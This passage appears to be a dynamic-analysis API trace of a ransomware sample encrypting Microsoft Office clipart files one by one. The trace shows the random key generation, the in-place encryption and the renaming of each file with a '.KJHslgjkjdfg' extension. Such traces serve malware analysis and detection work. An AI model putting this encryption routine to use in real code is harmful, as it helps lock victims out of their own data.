lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.795] GetProcessHeap () returned 0x990000 [0193.795] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.795] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.795] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.795] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.798] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.798] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.798] GetProcessHeap () returned 0x990000 [0193.798] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.798] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.798] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.798] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.798] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.798] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.798] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.798] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.798] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.799] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.799] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.799] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.799] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5c78, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5c78, lpOverlapped=0x0) returned 1 [0193.800] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5c80, dwBufLen=0x5c80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5c80) returned 1 [0193.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.800] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5c80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5c80, lpOverlapped=0x0) returned 1 [0193.800] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5d54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.801] SetEndOfFile (hFile=0x130) returned 1 [0193.803] GetProcessHeap () returned 0x990000 [0193.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.804] GetProcessHeap () returned 0x990000 [0193.804] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf.kjhslgjkjdfg")) returned 1 [0193.805] CloseHandle (hObject=0x130) returned 1 [0193.805] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107358.WMF", cAlternateFileName="")) returned 1 [0193.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.806] GetProcessHeap () returned 0x990000 [0193.806] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.806] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.806] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.806] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.809] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.809] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.809] GetProcessHeap () returned 0x990000 [0193.809] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.809] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.809] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.809] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.809] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.809] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.809] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.809] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.810] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.810] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.810] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f1c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1f1c, lpOverlapped=0x0) returned 1 [0193.811] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f20, dwBufLen=0x1f20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f20) returned 1 [0193.811] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.811] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1f20, lpOverlapped=0x0) returned 1 [0193.811] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.811] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ff4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.811] SetEndOfFile (hFile=0x130) returned 1 [0193.814] GetProcessHeap () returned 0x990000 [0193.814] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.814] GetProcessHeap () returned 0x990000 [0193.814] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.814] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf.kjhslgjkjdfg")) returned 1 [0193.815] CloseHandle (hObject=0x130) returned 1 [0193.815] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107364.WMF", cAlternateFileName="")) returned 1 [0193.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.816] GetProcessHeap () returned 0x990000 [0193.816] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.816] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.816] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.816] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.819] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.819] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.819] GetProcessHeap () returned 0x990000 [0193.819] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.820] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.820] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.820] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.820] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.820] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.820] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.820] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.820] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.820] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.820] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.820] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.820] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40cc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x40cc, lpOverlapped=0x0) returned 1 [0193.821] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x40d0, dwBufLen=0x40d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x40d0) returned 1 [0193.822] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.822] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x40d0, lpOverlapped=0x0) returned 1 [0193.822] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.822] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x41a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.822] SetEndOfFile (hFile=0x130) returned 1 [0193.825] GetProcessHeap () returned 0x990000 [0193.825] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.825] GetProcessHeap () returned 0x990000 [0193.825] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.825] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf.kjhslgjkjdfg")) returned 1 [0193.826] CloseHandle (hObject=0x130) returned 1 [0193.827] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ce4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107426.WMF", cAlternateFileName="")) returned 1 [0193.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.827] GetProcessHeap () returned 0x990000 [0193.827] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.827] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.827] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.828] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.831] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.831] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.831] GetProcessHeap () returned 0x990000 [0193.831] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.831] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.831] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.831] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.831] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.831] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.831] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.831] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.831] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.832] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.832] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.832] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.832] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2ce4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2ce4, lpOverlapped=0x0) returned 1 [0193.833] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2cf0, dwBufLen=0x2cf0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2cf0) returned 1 [0193.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.833] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2cf0, lpOverlapped=0x0) returned 1 [0193.833] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.833] SetEndOfFile (hFile=0x130) returned 1 [0193.836] GetProcessHeap () returned 0x990000 [0193.836] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.836] GetProcessHeap () returned 0x990000 [0193.836] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.836] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf.kjhslgjkjdfg")) returned 1 [0193.838] CloseHandle (hObject=0x130) returned 1 [0193.838] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7680, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107446.WMF", cAlternateFileName="")) returned 1 [0193.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.839] GetProcessHeap () returned 0x990000 [0193.839] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.839] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.839] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.839] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.839] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.839] GetProcessHeap () returned 0x990000 [0193.839] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.839] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.839] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.839] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.842] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, 